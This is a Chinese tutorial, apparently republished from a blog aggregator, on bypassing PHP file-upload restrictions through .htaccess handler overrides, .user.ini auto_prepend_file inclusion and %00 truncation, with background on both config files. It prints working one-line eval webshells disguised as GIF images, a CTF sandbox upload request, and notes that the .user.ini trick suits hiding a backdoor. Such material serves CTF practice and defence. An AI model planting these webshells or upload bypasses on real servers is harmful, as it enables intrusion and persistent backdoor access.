文件上传 .htaccess 与.user.ini

这篇具有很好参考价值的文章主要介绍了文件上传 .htaccess 与.user.ini。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

1、.htaccess

1使用方法,上传.htaccess文件内容如下

<FilesMatch "shell">
SetHandler application/x-httpd-php
</FilesMatch>
​
匹配文件名为“shell”的文件,该文件作为可执行程序解析

或者

AddType application/x-httpd-php .jpg
​
​
jpg文件作为可执行程序执行

2再上传shell.jpg

GIF89a
<script language='php'> @eval($_POST['a']);</script>

3访问shell.jpg文件

2、.user.ini

方式使用限制,在上传的目录中必须包含php文件,例如index.php

1上传.user.ini文件,内容为:

GIF89a                  
auto_prepend_file=1.gif

加载1.gif文件

2上传1.gif文件

GIF89a
<script language='php'> @eval($_POST['a']);</script>

3 访问同目录中的php文件,例如index.php ,先通过本目录中的配置文件.user.ini进行加载1.gif文件从而达到加载后门的目的

3、00截断

00截断有限制,php版本得低于5.3,并且GPC得关闭,一般在url上。 两种,%00和0x00,后台读取是遇到%00就会停止。 举个例子,url中输入的是upload/post.php%00.jpg,那么后台读取到是upload/post.php,就实现了绕后目的。

POST /?road=/var/www/html/upload/1.php%00 HTTP/1.1
Host: challenge-57c0e3e249fc35a4.sandbox.ctfhub.com:10080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------47182109526658916741339492122
Content-Length: 369
Origin: http://challenge-57c0e3e249fc35a4.sandbox.ctfhub.com:10080
Connection: close
Referer: http://challenge-57c0e3e249fc35a4.sandbox.ctfhub.com:10080/
Upgrade-Insecure-Requests: 1
​
-----------------------------47182109526658916741339492122
Content-Disposition: form-data; name="file"; filename="shell.php.jpg"
Content-Type: image/jpeg
​
<?php @eval($_GET['hack']) ?>
-----------------------------47182109526658916741339492122
Content-Disposition: form-data; name="submit"
​
Submit
-----------------------------47182109526658916741339492122--

4、.htaccess

.htaccess是什么

.htaccess文件(或者”分布式配置文件”)提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设置。

概述来说,htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。 ​ 启用.htaccess,需要修改httpd.conf,启用AllowOverride,并可以用AllowOverride限制特定命令的使用。如果需要使用.htaccess以外的其他文件名,可以用AccessFileName指令来改变。例如,需要使用.config ,则可以在服务器配置文件中按以下方法配置:AccessFileName .config 。 ​ 笼统地说,.htaccess可以帮我们实现包括:文件夹密码保护、用户自动重定向、自定义错误页面、改变你的文件扩展名、封禁特定IP地址的用户、只允许特定IP地址的用户、禁止目录列表,以及使用其他文件作为index文件等一些功能。 .htaccess文件可以在网站目录树的任何一个目录中,只对该文件所在目录中的文件和子目录有效。

注意:

1、子目录中的指令会笼盖更高级目录或者主器配置中的指令。 如果 .htaccess 文件保存在 /apache/home/www/Gunjit/ 目录,那么它会向该目录中的所有文件和子目录提供命令,但如果该目录包含一个名为 /Gunjit/images/ 子目录,且该子目录中也有一个 .htaccess 文件,那么这个子目录中的命令会覆盖父目录中 .htaccess 文件(或者目录层次结构中更上层的文件)提供的命令。

.htaccess文件中的配置指令作用于.htaccess文件所在的目录及其所有子目录,但是很重要的、需要注意的是,其上级目录也可能会有.htaccess文件,而指令是按查找顺序依次生效的,所以一个特定目录下的.htaccess文件中的指令可能会覆盖其上级目录中的.htaccess文件中的指令,即子目录中的指令会覆盖父目录或者主配置文件中的指令。

2、.htaccess必需以ASCII模式上传,最好将其权限设置为644。 3、使用.htaccess文件,会降低httpd服务器的一点性能

为什么要使用.htaccess

很多网站都是租用服务器和虚拟主机的,其服务器的配置我们并不能改。当我们有特殊要求时,比如定义最简单的404(页面未找到)的错误页面,我们就只能通过apache配置的扩展配置(或者说是子配置)来更改扩展原服务器的配置。这个配置就是.htaccess文件,他是apache下的http.conf文件的延续。

如何启用.htaccess

要在服务器上使用.htaccess文件配置,必须要求服务器开通对于的支持。两个条件:1.mod_rewrite模块开启;2. AllowOverride All, 如何配置:

  1. 启用AllowOverride。打开httpd.conf, 将工作目录下的AllowOverride None 改为AllowOverride All。

<VirtualHost *:80>
    ServerName www.nhs.com
    ServerAlias nhs.com
    DocumentRoot D:/projects/htdocs/nhs/nfs_cms
    <Directory  "D:/projects/htdocs/nhs/nfs_cms/">
        Options +Indexes +Includes +FollowSymLinks +MultiViews
        AllowOverride All
        Require local
    </Directory>
</VirtualHost>

2.. 开启.mod_rewrite模块。将#LoadModule rewrite_module modules/mod_rewrite.so前的#去掉即可。

  1. 重启apache

一般情况下,不应该使用.htaccess文件

一般情况下,不应该使用.htaccess文件,除非你对主配置文件没有访问权限。建议把用户认证写在主配置文件中,而且是一种很好的方法。

.htaccess文件应该被用在内容提供者需要针对特定目录改变服务器的配置而又没有root权限的情况下。如果服务器管理员不愿意频繁修改配置,则可以允许用户通过.htaccess文件自己修改配置,尤其是ISP在同一个机器上运行了多个用户站点,而又希望用户可以自己改变配置的情况下。

虽然如此,一般都应该尽可能地避免使用.htaccess文件。任何希望放在.htaccess文件中的配置,都可以放在主配置文件的段中,而且更高效。

避免使用.htaccess文件有两个主要原因

1、首先是性能。 如果AllowOverride启用了.htaccess文件,则Apache需要在每个目录中查找.htaccess文件,因此,无论是否真正用到,启用.htaccess都会导致性能的下降。另外,对每一个请求,都需要读取一次.htaccess文件。还有,Apache必须在所有上级的目录中查找.htaccess文件,以使所有有效的指令都起作用, 所以,如果请求/ctusky/ctu/sky中的页面,Apache必须查找以下文件:

/.htaccess
/ctusky/.htaccess
/ctusky/ctu/.htaccess
/ctusky/ctu/sky/.htaccess  一共就要访问4个额外的文件,就算这些文件都不存在,这也是本文开始说会影响服务器的一点性能的原因

2、其次是安全。这样会允许用户自己修改服务器的配置,这可能会导致某些意想不到的修改,所以请认真考虑是否应当给予用户这样的特权。

注意,在/www/htdocs/example目录下的.htaccess文件中放置指令,与在主配置文件中<Directory /www/htdocs/example>段中放置相同指令,是完全等效的。
​
/www/htdocs/example目录下的.htaccess文件的内容:
AddType text/example .exm
httpd.conf文件中摘录的内容:   
<Directory /www/htdocs/example>   
AddType text/example .exm   
</Directory>
   
但是,把配置放在主配置文件中更加高效,因为只需要在Apache启动时读取一次,而不是在每次文件被请求时都读取。 将AllowOverride设置为none可以完全禁止使用.htaccess文件:   
AllowOverride None

参考文献:

Apache服务器中的.htaccess文件的配置_www.test.cn_kakuma_chen的博客-CSDN博客

5、.user.ini

那么什么是.user.ini?

这得从php.ini说起了。php.ini是php默认的配置文件,其中包括了很多php的配置,这些配置中,又分为几种:PHP_INI_SYSTEMPHP_INI_PERDIRPHP_INI_ALLPHP_INI_USER。 在此可以查看:PHP: php.ini 配置选项列表 - Manual 这几种模式有什么区别?看看官方的解释:

文件上传 .htaccess 与.user.ini

 

其中就提到了,模式为PHP_INI_USER的配置项,可以在ini_set()函数中设置、注册表中设置,再就是.user.ini中设置。 这里就提到了.user.ini,那么这是个什么配置文件?那么官方文档在这里又解释了:

除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web 根目录($_SERVER['DOCUMENT_ROOT'] 所指定的)。如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。

.user.ini 风格的 INI 文件中只有具有 PHP_INI_PERDIR 和 PHP_INI_USER 模式的 INI 设置可被识别。

这里就很清楚了,.user.ini实际上就是一个可以由用户“自定义”的php.ini,我们能够自定义的设置是模式为“PHP_INI_PERDIR 、 PHP_INI_USER”的设置。(上面表格中没有提到的PHP_INI_PERDIR也可以在.user.ini中设置)

实际上,除了PHP_INI_SYSTEM以外的模式(包括PHP_INI_ALL)都是可以通过.user.ini来设置的。

而且,和php.ini不同的是,.user.ini是一个能被动态加载的ini文件。也就是说我修改了.user.ini后,不需要重启服务器中间件,只需要等待user_ini.cache_ttl所设置的时间(默认为300秒),即可被重新加载。

然后我们看到php.ini中的配置项,可惜我沮丧地发现,只要稍微敏感的配置项,都是PHP_INI_SYSTEM模式的(甚至是php.ini only的),包括disable_functionsextension_direnable_dl等。 不过,我们可以很容易地借助.user.ini文件来构造一个“后门”。

Php配置项中有两个比较有意思的项(下图第一、四个):

文件上传 .htaccess 与.user.ini

 

auto_append_fileauto_prepend_file,点开看看什么意思:

文件上传 .htaccess 与.user.ini

 

指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数。而auto_append_file类似,只是在文件后面包含。 使用方法很简单,直接写在.user.ini中:

auto_prepend_file=01.gif

01.gif是要包含的文件。

所以,我们可以借助.user.ini轻松让所有php文件都“自动”包含某个文件,而这个文件可以是一个正常php文件,也可以是一个包含一句话的webshell。

测试一下,我分别在IIS6.0+Fastcgi+PHP5.3和nginx+fpm+php5.3上测试。 目录下有.user.ini,和包含webshell的01.gif,和正常php文件echo.php:

文件上传 .htaccess 与.user.ini

文件上传 .htaccess 与.user.ini

 

 

访问echo.php即可看到后门:

文件上传 .htaccess 与.user.ini

 

Nginx下同样:

文件上传 .htaccess 与.user.ini

 文件上传 .htaccess 与.user.ini

 

那么,我们可以猥琐地想一下,在哪些情况下可以用到这个姿势? 比如,某网站限制不允许上传.php文件,你便可以上传一个.user.ini,再上传一个图片马,包含起来进行getshell。不过前提是含有.user.ini的文件夹下需要有正常的php文件,否则也不能包含了。 再比如,你只是想隐藏个后门,这个方式是最方便的。

参考文献

.user.ini文件构成的PHP后门 - phith0n文章来源地址https://www.toymoban.com/news/detail-485388.html

到了这里,关于文件上传 .htaccess 与.user.ini的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • CTFhub-文件上传-.htaccess

    首先上传 .htaccess 的文件 .htaccess SetHandler application/x-httpd-php 这段内容的作用是使所有的文件都会被解析为php文件 然后上传1.jpg 的文件   内容为一句话木马 1.jpg ?php echo \\\"PHP Loaded\\\"; eval(@$_POST[\\\'a\\\']); ? 用蚁剑连接 http://challenge-e3884f63b3d65683.sandbox.ctfhub.com:10800/upload/1.jpg

    2024年02月10日
    浏览(34)
  • 网安入门13-文件上传(htaccess,其他绕过)

    Pass-07 直接上传肯定是失败的 把文件名1.php改成1.php.或1.php_(下划线为空格),这种命名方式在windows系统里是不被允许的,所以需要在burp之类里进行修改,然后绕过验证后,会被windows系统自动去掉后面的点和空格,但要注意Unix/Linux系统没有这个特性。 在php后加一个空格 Pass-

    2024年01月22日
    浏览(40)
  • 文件上传漏洞基础/htaccess重写解析绕过/大小写绕过上传/windows特性绕过

    目录 一、htaccess重写解析绕过上传 htaccess文件 htaccess文件上传 靶场练习pass-04 代码分析 创建.htaccess文件 开始上传 访问 二、大小写绕过 upload-labs pass-05 代码分析 上传 访问 ​编辑  三、空格绕过上传 pass-06 代码分析 尝试上传 访问 四、利用windows系统特征绕过上传 pass-07 代码

    2024年02月13日
    浏览(46)
  • git的基本使用方法,操作详解(如何拉取代码,上传代码)

    在写代码的时候可能有这样的需求: 保存源代码的不同版本,当软件出现bug时能回溯到之前的状态,比较版本之间的差别,从而找出bug源头。 多人分工协作的时候,会修改到相同的文件,如果有一个工具能够帮助我们完成修改的合并,就能节省不少时间,版本控制系统应运

    2024年02月02日
    浏览(52)
  • csrf跨站请求的相关装饰器、Auth模块(模块的使用、相关方法、退出系统、修改密码功能、注册功能)、扩展默认的auth_user表

    1 csrf跨站请求的相关装饰器 2 Auth模块的使用 3 Auth模块的相关方法 3.1 登录页面前端代码 3.2 Auth模块之退出系统 3.3 Auth模块之修改密码功能 3.4 Auth模块之注册功能 4 扩展默认的auth_user表

    2024年02月12日
    浏览(41)
  • VisualSVN Server下载安装和使用方法、服务器搭建、使用TortoiseSvn将项目上传到云端服务器、各种错误解决方法

    请大家多多指正,欢迎大家关注! 以A台电脑作为服务器,B台电脑从服务器上拉代码下来到B电脑本地。 截止2024.01.19为最新版本 写这篇文章主要是总是忘记如何将写好的项目推送到服务器里这个操作,其他都是捎带,写下来,再忘就看这篇文章。一写就太多了,但没有相应的

    2024年02月21日
    浏览(50)
  • 对于莫名其妙使用smarttomcat上传前端项目失败,上传css等静态资源失败等原因,及解决方法

    0:0:0:0:0:0:0:1 - - [30/Oct/2023:21:05:07 +0800] \\\"GET /css/%20common.css HTTP/1.1\\\" 404 648 0:0:0:0:0:0:0:1 - - [30/Oct/2023:21:05:07 +0800] \\\"GET /css/%20login.css HTTP/1.1\\\" 404 648 0:0:0:0:0:0:0:1 - - [30/Oct/2023:21:05:07 +0800] \\\"GET /img/%E4%B8%BB%E9%A1%B5.png HTTP/1.1\\\" 404 648 0:0:0:0:0:0:0:1 - - [30/Oct/2023:21:05:13 +0800] \\\"GET /css/%20common.css HTTP/1

    2024年02月06日
    浏览(48)
  • htaccess绕过上传实验

    利用上传htaccess文件解析漏洞绕过验证进行上传PHP脚本木马 实验工具 火狐:Mozilla Firefox,中文俗称“火狐”(正式缩写为Fx或fx,非正式缩写为FF),是一个自由及开放源代码网页浏览器,使用Gecko排版引擎,支持多种操作系统,如Windows、Mac OS X及GNU/Linux等。 实验内容 什么是

    2024年02月09日
    浏览(33)
  • php user.ini详解

    本篇主要是讲解分析一下user.ini相关的内容。因为这个知识点涉及到文件上传的绕过 .user.ini 文件是PHP的配置文件,用于自定义PHP的配置选项。该文件通常位于PHP安装目录的根目录下,或者在特定的网站目录下。 .user.ini 文件是一个文本文件,可以使用任何文本编辑器进行编辑

    2024年02月11日
    浏览(62)
  • 微信小程序生成菊花码,通过Java修改中间图片为上传的图片,含前端使用方法

    场景: 在微信小程序环境下,用户上传个人头像,生成个人的微信小程序菊花维码,可以无限申请并生成二维码,然后二维码中间的圆形为用户自己上传的头像,最后可以通过生成的二维码扫码进入个人简介页面。 因为图片捣腾了一些时间,记录一下,类似问题给的时间都

    2024年02月13日
    浏览(242)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包